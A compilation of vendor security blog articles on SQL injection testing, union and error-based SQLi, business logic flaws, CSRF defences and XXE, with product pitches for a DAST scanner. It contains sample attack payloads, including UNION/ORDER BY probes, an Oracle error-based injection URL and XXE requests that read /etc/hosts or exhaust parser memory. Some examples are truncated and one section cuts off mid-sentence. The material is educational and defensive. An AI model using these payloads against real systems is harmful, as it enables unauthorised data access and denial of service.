5 SQL Injection Test Methods and Why to Automate Your Testing
What Is SQL Injection Testing?
SQL injection tests insert data into your application to verify that you can run user-controlled SQL queries on your database. A test successfully finds a SQL injection vulnerability when a certain user input, which could be used for a malicious input, is accepted by the application without proper validation.
SQL injection testing is critical to protect web applications that rely on databases. Successful exploitation of SQL injection vulnerabilities could allow unauthorized users to access and manipulate data in the database, and in some cases, compromise the web application and server.
SQL injection testing requires understanding an application’s interaction with a database server to access data. Applications often communicate with a database to authenticate web forms (checking credentials against the database) and perform searches (user-submitted input can extract data from the database via SQL queries). Testers must list the input fields with values that could end up in an SQL query.
Usually, the first test involves adding a quotation mark or semicolon to a parameter or field. If the application doesn’t filter the input, the value in quotation marks could produce a flawed query, while the semicolon could produce an error.
Testers can also use SQL keywords (e.g., AND, OR) and comment delimiters like — and /* */ to try modifying a query. They can insert a string in the place of a number to generate an error. The testers should monitor all web server responses and inspect the source code. The responses may contain an error without presenting it to the user. Proper error messages offer invaluable information, allowing testers to recreate an injection attack successfully.
Unfortunately, applications do not always provide the full details of an error, issuing simple 500 errors. In these cases, testers must use blind SQL injection methods. Testers should check every field individually to identify the vulnerable parameters.
Here are some of the testing methods to help identify SQL vulnerabilities:
1. Stacked Query Testing
In the stacked query method, testers complete an SQL statement and write a new one. Testers and developers should ensure that their applications do not support stacked queries (where possible). For example, developers should avoid using a multi-query statement that enables stacked queries.
2. Error-Based Injection Testing
Error-based injection exploits the SQL error messages displayed to users. Users attempt something that likely causes an error and retrieve data from the error message produced. Users with access to information like the names of tables can more easily compromise the underlying database.
To prevent error-based injection attacks, teams must ensure the application never displays internal SQL errors to the user. The application should handle errors internally.
The boolean method involves appending conditions to conditional statements (true in some cases, false in others). Attackers can perform several conditional queries to learn about the database. Testers can use this attack method to identify boolean-based injection vulnerabilities.
To prevent boolean-based injection attacks, teams must ensure the application never runs user input as SQL code. One way to achieve this is with prepared statements that ensure SQL does not interpret user input as code.
Out-of-band exploit tests are useful for assessing blind SQL injection vulnerabilities, where the attacker doesn’t know anything about the operation’s outcome. This method uses Database Management System (DBMS) functions to perform out-of-band connections and deliver query results to the attacker’s server.
Time delay exploits are useful for blind SQL injection situations. This method involves sending injected queries and monitoring the server’s response time (if the conditional is true). A delayed response indicates that the conditional query’s result is true.
SQL Injection Testing: Manual vs Automated Testing
Before an organization can secure its applications or websites, it is essential to know about any SQL injection vulnerabilities they contain. SQL injection is a popular attack technique that often impacts businesses severely. Testing teams should test application code for SQL injection vulnerabilities regularly.
Organizations should ideally test their code upon each update. Frequent testing allows security and development teams to identify and address issues introduced in code changes. Testers can look for SQL injection vulnerabilities using manual or automated methods, leveraging scanning tools to accelerate the process.
Manual SQL injection testing involves manually applying user-supplied inputs to various fields to assess the application or website’s input validation. It is often a time-consuming method, especially when testing many fields. Manual techniques may be inadequate to test everything thoroughly. Given the sheer scale of the task, testers can easily overlook some vulnerabilities.
Organizations often use automated scanning tools to identify SQL injection vulnerabilities, allowing developers to address coding issues. Web security scanning tools offer a fast, comprehensive testing technique, returning detailed results about any vulnerabilities they discover. Testers can more easily identify affected parameters and URLs, saving time and enabling frequent software updates.
Automated SQL Injection Testing with Bright Security
Bright Security’s Dynamic Application Security Testing (DAST) helps automate the detection and remediation of many vulnerabilities including SQLi, early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. NeuraLegion completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Union SQL Injection: How It Works and 6 Tips for Prevention
What Is Union SQL Injection?
SQL injection is a technique threat actors use to attack applications with a database connection. It occurs when actors send a crafted SQL query to add, extract, delete, or modify data from the database. Union SQL injection enables threat actors to extract sensitive information from a database. It lets threat actors extend the results returned by an original query.
UNION SQL injection can result in the extraction of database content and can be used to perform command execution on the target server. However, threat actors can only use the UNION operator only if their malicious query has the same structure, including the number and data type of columns, as the original query.
Here are the key differences between Union-based and error-based SQLi:
Error-based SQLi – the attacker tries to get sensitive information about the database, its configuration, structure, or contents, via SQL error messages.
Union-based SQLi – the attacker uses the UNION operator to combine a benign SQL statement with a malicious statement. The malicious statement must use the same columns and data types as the original statement. A vulnerable database processes the combined statement and executes the malicious code.
A Union SQL injection uses the SQL keyword UNION to retrieve additional data beyond what was expected in the original query. For this attack to succeed, the application must return the result of database queries in its response.
The UNION keyword allows database users to append additional SELECT queries to an original query, like this:
SELECT a, b FROM originaltable UNION SELECT e, f FROM othertable
This query returns one result set with two columns. The first column will contain values from column a in originaltable and also column e in othertable. The second column will contain values from column b in originaltable and also column f in othertable.
UNION can only work if each of the queries return the same number of columns, and the data types in each corresponding column are the same.
If an application is vulnerable to SQL injection, it typically allows the attacker to inject additional SQL code into a seemingly benign query. The attacker can use UNION to add SQL statements that retrieve data from sensitive tables in the database, bypassing authorization.
How to Check Columns in Table Query
There are two main conditions necessary for UNION queries to work:
Each query must return an equal number of columns.
Each column must contain data types that are compatible with each query.
There are two conditions necessary to enable SQL injection UNION attacks. The attacker generally has to figure out:
The number of columns returned from each original query.
Which of the columns returned from the original queries have a data type that can hold the injected query results.
There are two ways to check the number of columns returned from the table query during an SQLi UNION attack.
The “Order by” technique:
In the first technique, the attacker injects a sequence of “order by” clauses and increments the target column index to induce an error.
If the attackers use a quoted string in the original query’s “where” clause as the injection point, the attackers might submit an “order by” sequence with each payload ascending in order. For example,’ ORDER BY 1-- followed by ‘ORDER BY 1--, etc., until there is an error. This payload sequence will modify the original query, ordering the results according to different result set columns.
Attackers can specify the columns in “order by” clauses by their index—there is no need to know the columns’ names. Once the column index specified exceeds the actual number of columns in a result set, it will cause the database to return an error. For example, the error message might state that the “order by” position number does not match the number of items in the selected list.
In some cases, the application returns the database error in an HTTP response, while in other cases, it only returns a generic error or does not return any results. If the attackers can detect differences in the response from the application, they can infer the number of columns returned from the query.
The “Union select” technique:
In the second technique, the attacker submits a sequence of “union select” payloads to specify different numbers of null values. For example,’ UNION SELECT NULL-- followed by
‘UNION SELECT NULL, NULL--, etc. When the database identifies that the null and column numbers don’t match, it will return an error message.
The error message might state that queries combined by a UNION operator must have corresponding numbers of expressions in the target lists. The application will not necessarily return an error message—it might simply return a generic error message or fail to return any results.
If the number of nulls and the number of columns align, the database should return an additional row that contains the null values for each column in the result set. The HTTP response generated will depend on the application code.
In some cases, the attacker can view additional content included in the response—for example, extra rows on the HTML table. In other cases, the null values can trigger different errors—for example, null pointer exceptions. Occasionally, the attacker will not be able to distinguish the response for the correct number of nulls from the response caused for a different number of nulls. Therefore, this technique is less effective for determining the number of columns.
6 Tips for Preventing SQL Injection
You can use the following techniques to prevent UNION SQL injection:
Disable errors—in most cases, the mechanism attackers use to view database results is through errors displayed by the application. Avoid showing SQL errors in application outputs, to avoid exposing system internals to attackers.
Use parameterized queries—never append user inputs as strings into a SQL query. Instead, construct a query in code and then add user inputs as parameters. This is the safest technique against all types of SQL injection attacks.
Limit input length—limiting the length of input fields can prevent UNION SQL injection attacks, because it will make it more difficult for the attacker to append strings to the query. For example, a name string can be limited to 20 characters.
Character allowlists—user inputs used in SQL statements should be limited to specific, safe characters, such as alphanumeric characters only.
Character denylists—disallow common characters used in SQL Injection payloads such as the characters “<>/?*()&” and common SQL operations like SELECT and UPDATE. See our guide to SQL injection payloads.
Set up database auditing and deploy an Intrusion Detection/Prevention System (IDS/IPS) and set up database auditing—ensure that all SQL queries on the database are audited, and set up an IDS/IPS system that can immediately block obvious SQL injection attempts.
SQL Injection Protection with Bright Security
Bright Security’s Dynamic Application Security Testing (DAST) helps automate the detection and remediation of many vulnerabilities including SQLi, early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. NeuraLegion completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Error-Based SQL Injection: Examples and 5 Tips for Prevention
What Is Error-Based SQL Injection?
Error-based SQL injection is an In-band injection technique that enables threat actors to exploit error output from the database to manipulate its data. It manipulates the database into generating an error that informs the actor of the database’s structure.
In-band injection enables threat actors to utilize one communication channel to launch an attack and retrieve data. It requires using a vulnerability to force data extraction. Typically, the vulnerability allows code to output an SQL error from the server instead of the required data. This error enables the actor to understand the entire database structure.
In error-based SQL injection, the attacker tries to insert a malicious query with the goal of receiving an error message that provides sensitive information about the database.
The attacker might try any type of SQL command in an input field parameter—such as a single quote, double quote, or SQL operators like AND, OR, NOT.
This example shows a URL that accepts a parameter from the user, in this case the required item:
https://example.com/index.php?item=123
The attacker can try adding a single quote at the end of the parameter value:
https://example.com/index.php?name=123’
If the database returns an error like this, the attack succeeded:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.
This error message provides the attacker with:
Information about the database used—MySQL
The exact syntax that caused the error—single quote
Where the syntax error occurred in the query—after the parameter value
For an experienced attacker, this is enough to see that the server is connected to the database insecurely and plan additional SQL injection attacks that can cause damage.
The attacker can also easily automate this using a command like grep extract to try many SQL syntax options in an input parameter and see which ones return errors.
Advanced Example: Running Proprietary Query for Database Vendor
If the attacker knows the vendor and version of the database engine, they can try more advanced techniques. Using vendor-specific queries, they can extract specific data that can help them plan additional attacks.
Consider the same URL as above, where the attacker knows that the database is Oracle 10g. The attacker can provide a parameter value like this:
https://example.com/index.php?item=123||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
The attacker appends a special query to the parameter value. This query combines two elements:
The UTL_INADDR.GET_HOST_NAME() function, which returns the hostname on an Oracle 10g database.
The SQL query SELECT user from DUAL. The DUAL table is a reserved table that exists in any Oracle database.
The combination of these two elements will result in an error, because the host name will not equal any of the user names in the DUAL table. The error will look something like this:
ORA-292257: host DAVID unknown
As soon as the attacker receives this error, they can continue passing different values to the
Then the tester can manipulate the parameter passed to the GET_HOST_NAME() function, to discover the names of users, data from other tables, or to eventually guess the database hostname.
Another variation on this attack is to try multiple special queries for different databases and see which one “hits home”—this can reveal to the attacker which database engine the website is using.
Using prepared statements with variable bindings is the most secure way to write database queries. It is also easier for programmers to work with than dynamic queries. In a parameterized query, the developer must first define all the SQL code and then pass each parameter to the query.
This coding style creates a separation between code and data, regardless of user input provided, which prevents almost all SQL injection attacks. Prepared statements prevent an attacker from changing the intent of a query, even if a malicious SQL command is injected into user inputs.
In rare cases, prepared statements can negatively affect performance. If this is a problem, you can use one of the other prevention methods described below, but be aware that they are less secure.
2. Stored Procedures
Stored procedures are another way to prevent SQL injection. When used correctly, stored procedures can completely eliminate SQL injection vulnerabilities.
Stored procedures require developers to write SQL statements which are automatically parameterized. The difference between prepared statements and stored procedures is that the SQL code for the stored procedure is defined and stored in the database itself, then called by the application.
3. Principle of Least Privilege
Applications must allow each process or software component to access and affect only the resources it needs. Apply privileges based on actual needs—for example, an application should only have permission to access the database if it actually needs it, and should not have write or delete permissions if it only needs to read data from the database. This can mitigate many of the risks associated with injection attacks.
It is quite rare for applications to change database structure at runtime. In most cases, operations like creating or dropping tables, or modifying columns in a table, are performed during release windows and not during runtime.
Therefore, it is best to reduce the application’s privileges at runtime to edit only the specific data it needs, but not change the table structure. For SQL databases, this means that the application’s service account can only execute DML statements, not DDL statements.
4. Allowlist Input Validation
Some parts of a SQL query do not permit the use of bind variables (such as table and column names) or sorting indicators (such as ASC or DESC). Use input validation or query redesign to prevent these types of illegal inputs. Whenever table or column names are used, these values should come from the code and not from user inputs.
Whenever user parameters must be used to target table and column names, map the parameter values to an allowlist of valid, expected names, to prevent unexpected user input.
5. Use Dynamic Application Security Testing (DAST)
DAST scanning can help detect SQL injection from the attacker’s perspective, attempting to exploit running applications with malicious inputs, and identifying severe vulnerabilities.
Bright Security is a next-generation dynamic application security testing (DAST) solution which helps automate the detection and remediation of SQLi early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright Security completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Scan any web app, or REST, SOAP and GraphQL APIs to prevent SQL injection vulnerabilities – try Bright Security free.
Business Logic Vulnerabilities: Examples and 4 Best Practices
What Are Business Logic Vulnerabilities?
Business logic vulnerabilities are design and implementation flaws in software applications. They have a legitimate business function, but can also be exploited by malicious attackers to create unexpected behavior. These flaws often result from an application’s inability to identify and safely handle unexpected user actions.
In most applications, business logic is implemented with defined rules, constraints, and user workflows. These rules and flows are defined either at the design stage or easier, when defining business requirements. Developers build these constraints into applications, defining how the application will behave. However, a weak point is the implementation of appropriate access rights at each point of the user flow. Depending on how user inputs are handled and parameters passed to functions and APIs, business logic vulnerabilities can occur.
Business logic flaws are often difficult to detect and vulnerability management can be challenging. Typically, identifying them requires cooperation between individuals who deeply understand the business and manual testing teams.
Automated testing of business logic vulnerabilities is challenging, but a new generation of tools can achieve it using artificial intelligence (AI) and fuzz testing technology. An example of such a tool is Bright Security DAST.
Adding Business Logic Vulnerabilities to the Vulnerability Management Process
The risks associated with flaws in business logic are context-specific and depend on the nature of the business. Organizations must perform threat modeling, leveraging knowledge of the business processes carried out by the application, to accurately identify threat agents.
Another aspect of vulnerability assessment is to identify processes related to revenue streams. These processes, if interrupted, could cause major damage to the organization. They could also be attractive for attackers to target because of their financial value.
Business logic flaws are very common in large application projects involving large development teams. Developers who work on specific modules or components may not fully understand the work done by other developers, and might make incorrect assumptions. Without proper coordination and documentation, these assumptions can become vulnerabilities that can impact application security.
Organizations need a process for regularly checking existing applications and new code for business logic vulnerabilities. This should be a part of the overall vulnerability management strategy. When the organization tests for and remediates known vulnerabilities in its applications, it must not neglect business logic vulnerabilities.
Business Logic Vulnerability Examples
Excessive Trust in Client-Side Controls
A fundamentally flawed assumption is that the user only interacts with the application through the provided web interface. This is especially dangerous because it leads to the additional assumption that client-side validation prevents the user from providing malicious input.
However, attackers can use proxy tools to tamper with data after it is sent from the browser and before it is passed to server-side logic. This effectively disables client-side controls.
Accepting data at face value without performing proper integrity checks and server-side validation allows an attacker to do major damage with minimal effort. What they can achieve depends on the application’s capabilities and the value of the data it holds.
Making Flawed Assumptions About User Behavior
One of the most common root causes of business logic bugs is wrong assumptions about user behavior. Commonly, developers don’t consider potentially dangerous scenarios that violate these assumptions.
For example, applications can appear secure because they implement a robust way to enforce business rules. However, some developers don’t realize that users and data within the application cannot be trusted indefinitely after passing these strict controls. By applying constraints only at the beginning of the interaction, and failing to verify them later, these applications can allow privilege escalation.
In general, if business rules and security measures are not applied consistently across applications and throughout user interactions, they can create potentially dangerous vulnerabilities that attackers can exploit.
Many logical flaws are related to the specific business domain or the subject matter of a specific application. An example is a discount feature in an eCommerce website. This is a significant attack surface, because it allows attackers to explore underlying logical flaws in the way discounts are applied.
In general, any application function that makes it possible to adjust prices, make payments, or modify any sensitive data value based on user interaction, must be carefully considered. It is important to understand the algorithms the application uses to make these adjustments and in which circumstances they occur. A good way to test this is to manipulate these types of functions, attempting user inputs that will lead to unexpected results.
4 Critical Best Practices for Business Logic Vulnerability Management
Identifying business logic vulnerabilities requires determining how an application should work and understanding how attackers might exploit the business logic. Penetration testers use this information to design and test threat scenarios. Human creativity allows attackers (and pentesters) to find workarounds.
Identifying Logic Flaws
Security analysts should assess the codebase to understand the business rules and logic of the application. They should identify the security controls in place, how they work, and any control gaps.
Understanding the Software
To protect the software, security, testing, and development teams must understand it fully. Organizations should compile lists of known vulnerabilities, licenses, and code components. Scanning the codebase can help identify vulnerabilities.
Automating Security Processes
Vulnerability management processes are often too complex and time-consuming for human security and dev teams to handle alone. Organizations should utilize automated testing tools like Interactive Application Security Testing (IAST), Static Application Security Testing (SAST), and Dynamic Application Security Testing (DAST).
Prioritizing Vulnerabilities
Security teams should use the insights from scans and analysis tools to prioritize high-risk vulnerabilities. It is often impractical to address all vulnerabilities quickly, so prioritization allows developers to fix the most pressing issues first.
Detect Business Logic Vulnerabilities automatically – Sign up for a free Bright account
6 CSRF Mitigation Techniques You Must Know
What Is CSRF (Cross-Site Request Forgery)?
Cross-site request forgery (CSRF) is a cyber attack technique in which hackers impersonate a legitimate, trusted user. CSRF attacks can be used to change firewall settings, post malicious data to forums, or conduct fraudulent financial transactions.
What makes CSRF attacks especially concerning is that users whose account is impersonated are typically unaware that the attack has occurred. If a user becomes aware of an attack, it may have been after the damage has occurred and recovery may not be possible.
CSRF relies on a browser-based process that makes login to applications more convenient. When a user accesses a site after they have already logged in, the browser often keeps the user signed in by passing an authentication token. This token typically includes the user’s session cookies, basic authentication credentials, IP address, and even Windows domain credentials.
The problem is that if there is no validation of the authentication token, it is easy for an attacker to steal the token and impersonate the user. The website cannot differentiate between a fake user request and a legitimate user request. This has given rise to the use of CSRF tokens in all web frameworks, which can allow websites to verify that a session token is valid.
Here are some techniques that can help prevent and mitigate CSRF attacks.
1. Token Synchronization
CSRF tokens help prevent CSRF attacks because attackers cannot make requests to the backend without valid tokens. Each CSRF token should be secret, unpredictable, and unique to the user session.
Ideally, the server-side should create CSRF tokens, generating a single token for every user request or session. It is more secure to use separate tokens per request than per session because it shortens an attacker’s window to exploit stolen tokens.
However, the per-request token pattern can impact usability. For example, it might hinder the browser’s ability to return to previous pages with expired tokens. Interacting with a previous page could generate false-positive CSRF security events. With the per-session token pattern, the server stores the value of each token in the session, allowing all subsequent requests to use it for the duration of the session.
If the client issues a request, the server-side must verify the token’s validity, comparing the request token against the user session token. If the server-side component cannot identify a token in the request, or if it finds a token that doesn’t match the user session’s value, it should abort the request. It is recommended to log such events as potential CSRF attacks.
The double-submit cookie method is an alternative to maintaining the CSRF token state on the server-side, which can be problematic. It is a stateless, easily implemented technique that sends random values twice (once as request parameters and again in cookies). The server then checks the two random values from the request parameter and cookie to ensure they match.
Before a user authenticates, the site should create a cryptographically robust random value, setting it as a separate cookie on the user device. This additional cookie, combined with the session identifier, provides an added layer of defense, requiring all transaction requests to include the random (or pseudorandom) value. The server only accepts requests as legitimate if both cookies match on the server-side—otherwise, it rejects the requests.
Including tokens in encrypted cookies (in addition to authentication cookies) can help enhance this technique’s security. Once decrypted, the server must match each cookie with the hidden token in a form field or AJAX parameter call. This technique ensures that subdomains cannot overwrite encrypted cookies unless they have information like an encryption key.
Cookies containing hash-based message authentication code (HMAC) values are a simpler option than encrypted cookies, enabling tokens to contain secret keys that only the server knows. They work similarly to encrypted cookies, which also rely on server-exclusive information, but they require less computational power than encryption and decryption. Both encryption and HMAC-based cookies effectively mitigate CSRF because attackers lack the knowledge required to recreate cookie values from stolen tokens.
3. Same-Site Cookies
Same-site cookies help defend against CSRF attacks by restricting the cookies sent alongside each request. The ability of HTML elements to send cookies with requests provides an opening for CSRF. The developer can ensure that only certain cookies can accompany a request with same-site cookies.
The browser stores several elements when a web app sets cookies on a website. In addition to key and value data, cookies contain a domain field that helps distinguish between first- and third-party cookies. A first-party cookie has a domain field matching the URL in the browser’s address bar, while the domain of a third-party cookie does not match the URL. Web apps often use first-party cookies to store session information, while analytics tools often use third-party cookies.
Same-site cookies contain an additional field specifying whether the browser can send a first-party cookie with requests from HTML elements from different URLs. This mechanism lets the application restrict requests to sites with the same URL.
4. Enabling User Interaction
While most CSRF techniques do not involve user interaction, users can help secure transactions in some cases. Requiring user interaction helps prevent operations by unauthorized users, including CSRF attacks. When properly implemented, re-authentication mechanisms, CAPTCHA challenges, and one-time tokens can provide a strong defense against CSRF.
These techniques are useful but not always practical, as they create additional hurdles that impact user experience. Therefore, this approach is best suited for critical operations like financial transactions, account detail modifications, or password changes.
5. Custom Headers for Requests
Adding custom request headers is an especially effective defense for API and AJAX endpoints. This technique uses same-origin policies (SOPs) to restrict the ability to add custom headers. Users can only add custom headers using JavaScript and must add the headers within their origin.
Most browsers do not permit JavaScript to use custom headers for cross-origin requests by default. To prevent a CSRF attack, developers can verify the presence of custom headers and values across the AJAX endpoints on the server-side. This approach does not usually require introducing server-side state data or making UI changes. It is especially suitable for REST services because developers can easily add a custom header (and value).
While this method is suited to AJAX calls, it is insufficient for protecting
What Is XML External Entity (XXE)? The Complete Guide
What Is an XXE Attack?
XXE (XML External Entity Injection) is a common web-based security vulnerability that enables an attacker to interfere with the processing of XML data within a web application. When exploited, XXE can allow attackers to access sensitive data, execute remote code, or interfere with the processing of XML data within a web application.
XXE is achieved through custom XML entities that load their defined values from outside of the Document Type Definition (DTD) in which they are declared. This is important from a security perspective because it allows an entity to be defined based on the contents of a file path or URL, enabling attackers to access local files and URLs on a local network, or execute remote code.
To perform an XXE attack, the attacker needs to:
Define an external XML entity with the target URL they want to reach from the server.
Use this entity in a data value.
To mitigate XXE attacks, you can:
Manually disable DTDs, by configuring XML parsers in applications to disable custom document type definitions (DTDs).
Prevent developers from using XML external entities in XML content from untrusted sources.
Disable the processing of external DTDs, or restrict developers to static, local DTDs.
XML External Entity (XXE) Attack Types with Code Examples
Billion Laughs Attack
Consider a web application that accepts XML input and outputs the result. A request would look like this:
Request
POST http://example.com/xml HTTP/1.1 Hello and welcome to my website!
Response
HTTP/1.0 200 OK
Hello and welcome to my website!
XML documents can have a specific type, which can be defined using two standards – XSD and DTD. XML documents defined using a DTD are vulnerable to XXE attacks.
See the following example, which uses a DTD called mytype. This DTD defines an XML entity called name. When this element is called in the HTML output, the XML parser reads the DTD and replaces it with a value.
Request
POST http://example.com/xml HTTP/1.1
]> Hello &name; and welcome to my website!
Response
HTTP/1.0 200 OK
Hello John and welcome to my website!
Now let’s see how an attacker can carry the so-called “billion laughs attack”. If the XML parser does not limit the amount of memory it can use, this attack uses a recursive technique to overload its memory.
Request
POST http://example.com/xml HTTP/1.1
]> Hello &t3;
Response
Response HTTP/1.0 200 OK
Hello John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John John
In essence, this is a type of denial of service (DoS) attack that can deny access to an application relying on an XML parser.
XXE SSRF Attack
Now let’s see how a similar attack can be used to perform server side request forgery (SSRF).
Here the attacker uses XML entities from external sources. When this happens, XXE becomes a server side request forgery (SSRF) attack.
An attacker can run a system command using an XML system identifier. Most XML parsers process external entities by default, and as a result, the server runs the system code in the malicious XML element.
The following code shows how XXE can be used to return the contents of a sensitive file – the etc/hosts file.
Request
POST http://example.com/xml HTTP/1.1
"file:///etc/hosts"> ]> &xxe;
Response
HTTP/1.0 200 OK
IPAddress Hostname Alias 127.0.0.1 localhost web.mydomain.com 208.164.186.1 web.mydomain.com web 208.164.186.2 mail.openna.com mail (...)
This attack can be extended to gain access to other files on the server, beyond system files. Some XML parsers make it possible to retrieve directory listings and use them to find other sensitive data on the machine.
Limitations of XXE SSRF attacks
XXE attacks are limited to obtaining files that contain plain text or valid XML. They cannot be used to obtain binary files, or files that contain code that is similar to XML, but in fact is not valid XML. This will return a parser error and the attacker will not be able to view their content.
A blind XXE vulnerability means that the application does process external XML entities in an unsecure way, but does not return those entities in its responses. This means attackers will need to use advanced techniques to detect the vulnerability and exploit it.
Attackers can still exfiltrate data using blind XXE, for example by causing the server to connect to a URL controlled by the attacker.
How to Prevent XXE Vulnerabilities
Although a common vulnerability, preventing XXE attacks can be easily achieved with good coding practices and some language-specific advice.
XXE Vulnerability in Java
Java inherently makes a programmer’s task of defending against XXE less definive, due to the reliance on parsers. Java XML parsers are often vulnerable to XXE attacks, resulting in less control in securing your applications.
Thankfully, creators of these parsers are wise to this issue, actively ensuring that they are updated accordingly to be more secure, but you are still reliant on these third parties. Some of the most common XML parsers for Java include:
PHP holds the title of perhaps the most popular back-end web application language, and as such, is a primary target for attackers, including XXE attacks. With attackers routinely finding new vulnerabilities, it is imperative to keep your PHP version up to date to secure your applications.
In relation to XXE prevention, there are things that you can do in order to ensure you’re a victim. Since PHP version 8.0.0, it is highly recommended that you use libxml_disable_entity_loader. Further information on fully undersanding and implementing this functionality in your code can be found here.
XXE Vulnerability in Python
Python’s popularity is growing each day with both new programmers and seasoned veterans. However, with rapid growth and expansion comes risk.
The first step in securing your Python applications is ensuring that the XML parsers you are using are safe. Some, such as Etree, Minidom, Xmlrpc, and Genshi are built with security in mind, resistant to XXE vulnerabilities. However, other popular modules such as Pulldom and Lxlm aren’t inherently safe, and precaution is advised.
Additional Prevention Tips
Here are a few general guidelines that can help you prevent XXE:
Manually disable DTDs – configure XML parsers in your applications to disable custom and external document type definitions (DTDs). Most applications don’t use DTDs, so this should not hurt any functionality, but can prevent XXE attacks.
Avoid using untrusted XML entities – make sure developers don’t incorporate XML external entities in XML content unless they come from a trusted source. This requires training and a mechanism to determine which sources can be trusted.
Only use local DTDs – ensure developers only use static, local DTDs. This may require training the development team and configuring the parsers not to accept other DTDs.
Instrument your application server – insert checkpoints in specific parts of your code to monitor runtime execution, and detect and block classes related to XML processing. This can deal with XML parsers you missed somewhere in your application code, and can prevent the most severe XXE exploits which lead to remote code execution.
Use security tools – Web Application Firewalls (WAF) have built-in rules that can block obvious XXE inputs. Dynamic Application Security Testing (DAST) tools can scan for XXE vulnerabilities early in the development process and suggest how to remediate them.
Harden configuration against XXE – the regular application hardening best practices will also be effective against XXE. Limit permissions, validate all inputs to ensure they do not reach XML parsing logic, handle errors, use authentication and encryption, limit outbound traffic, and limit DNS communications.
Here are some real-life examples of XXE vulnerabilities:
Android development tools – some of the most popular Android development tools include Android Studio, Eclipse and APKTool. They all parse XML in a way that allow attackers to gain access through external entities, creating a huge exploit in these apps. Obviously, this was patched in later versions, but it serves as a good reminder that one can never be complacent when it comes to security in development, even when relying on industry leading third party tools.
WordPress – XXE vulnerabilities occurred in WordPress as well. This is especially alarming given approximately 40% of all websites use this CMS provider.
XXE Protection with Bright
Bright Dynamic Application Security Testing (DAST) helps automate the detection and remediation of many vulnerabilities including XXE, early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Scan any web app, or REST, SOAP and GraphQL APIs to prevent XXE vulnerabilities – try Bright free
See Additional Guides on Key Application Security Topics
Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.
SQL Injection attacks (or SQLi) alter SQL queries, injecting malicious code by exploiting application vulnerabilities.
Successful SQLi attacks allow attackers to modify database information, access sensitive data, execute admin tasks on the database, and recover files from the system. In some cases attackers can issue commands to the underlying database operating system.
The severe impact of these attacks makes it critical for developers to adopt practices that prevent SQL injection, such as parameterized queries, stored procedures, and rigorous input validation.
This is part of an extensive series of guides about data security.
What Are SQL Queries?
SQL, which stands for Structured Query Language, is a language used to communicate with and manipulate databases. It is the standard language for relational database management systems and is used to perform tasks such as update data on a database, or retrieve data from a database.
SQL queries are the commands used to communicate with a database. They enable tasks like searching, updating, or retrieving data stored in a database. For instance, an eCommerce web application might use a SQL query to retrieve information about a specific product from the product database.
However, if an application is not securely designed, it might allow a user to input SQL queries directly. In that case, a malicious user can input a specially crafted SQL query that can lead to unauthorized access, data leakage, or even deletion of data. This is known as a SQL injection attack.
Impact of a Successful SQL Injection Attack
The consequences of a successful SQL injection attack can include:
Stolen credentials—attackers can obtain credentials via SQLi and then impersonate users and use their privileges.
Unauthorized access to databases—attackers can gain access to the sensitive data in database servers.
Data alteration—attackers can alter or add new data to the accessed database.
Data deletion—attackers can delete database records or drop entire tables.
Lateral movement—attackers can access database servers with operating system privileges, and use these permissions to access other sensitive systems.
How Does a SQL Injection Attack Work?
A SQL Injection attack involves inserting or “injecting” a SQL query via the input data from the client to the application. A successful attack allows an attacker to manipulate the SQL queries that an application makes to its database. It typically involves the following steps:
Identification of vulnerable inputs: Attackers first identify inputs within the web application that are vulnerable to SQL injection. These inputs could be text fields in a form, URL parameters, or any other input mechanisms.
Crafting the malicious SQL query: Once a vulnerable input is identified, attackers craft a SQL statement intended to be inserted into the query executed by the application. This statement is designed to modify the original SQL query to perform actions unintended by the application developers.
Bypassing application security measures: Attackers often have to bypass security measures like input validation or escaping special characters. They achieve this through techniques like string concatenation or utilizing SQL syntax to comment out parts of the original query.
Executing the malicious query: When the application executes the SQL query, it includes the attacker’s malicious input. This modified query can perform actions such as unauthorized viewing of data, deletion of data, or even database schema alterations.
Extracting or manipulating data: Depending on the attack, the outcome might be the extraction of sensitive information (like user credentials), altering existing data, adding new data, or even deleting significant portions of the database.
Exploiting database server vulnerabilities: Advanced SQL injections may exploit vulnerabilities in the database server, extending the attack beyond the database to the server level. This can include executing commands on the operating system or accessing other parts of the server’s file system.
This process leverages the dynamic execution of SQL in applications where user inputs are directly included in SQL statements without proper validation or escaping. It exploits the way SQL queries are constructed, often in a way that the developers did not anticipate.
Real-Life SQL Injection Attack Examples
Over the past 20 years, many SQL injection attacks have targeted large websites, business and social media platforms. Some of these attacks led to serious data breaches. A few notable examples are listed below.
Breaches Enabled by SQL Injection
GhostShell attack—hackers from APT group Team GhostShell targeted 53 universities using SQL injection, stole and published 36,000 personal records belonging to students, faculty, and staff.
Turkish government—another APT group, RedHack collective, used SQL injection to breach the Turkish government website and erase debt to government agencies.
7-Eleven breach—a team of attackers used SQL injection to penetrate corporate systems at several companies, primarily the 7-Eleven retail chain, stealing 130 million credit card numbers.
HBGary breach—hackers related to the Anonymous activist group used SQL Injection to take down the IT security company’s website. The attack was a response to HBGary CEO publicizing that he had names of Anonymous organization members.
Notable SQL Injection Vulnerabilities
Tesla vulnerability—in 2014, security researchers publicized that they were able to breach the website of Tesla using SQL injection, gain administrative privileges and steal user data.
Cisco vulnerability—in 2018, a SQL injection vulnerability was found in Cisco Prime License Manager. The vulnerability allowed attackers to gain shell access to systems on which the license manager was deployed. Cisco has patched the vulnerability.
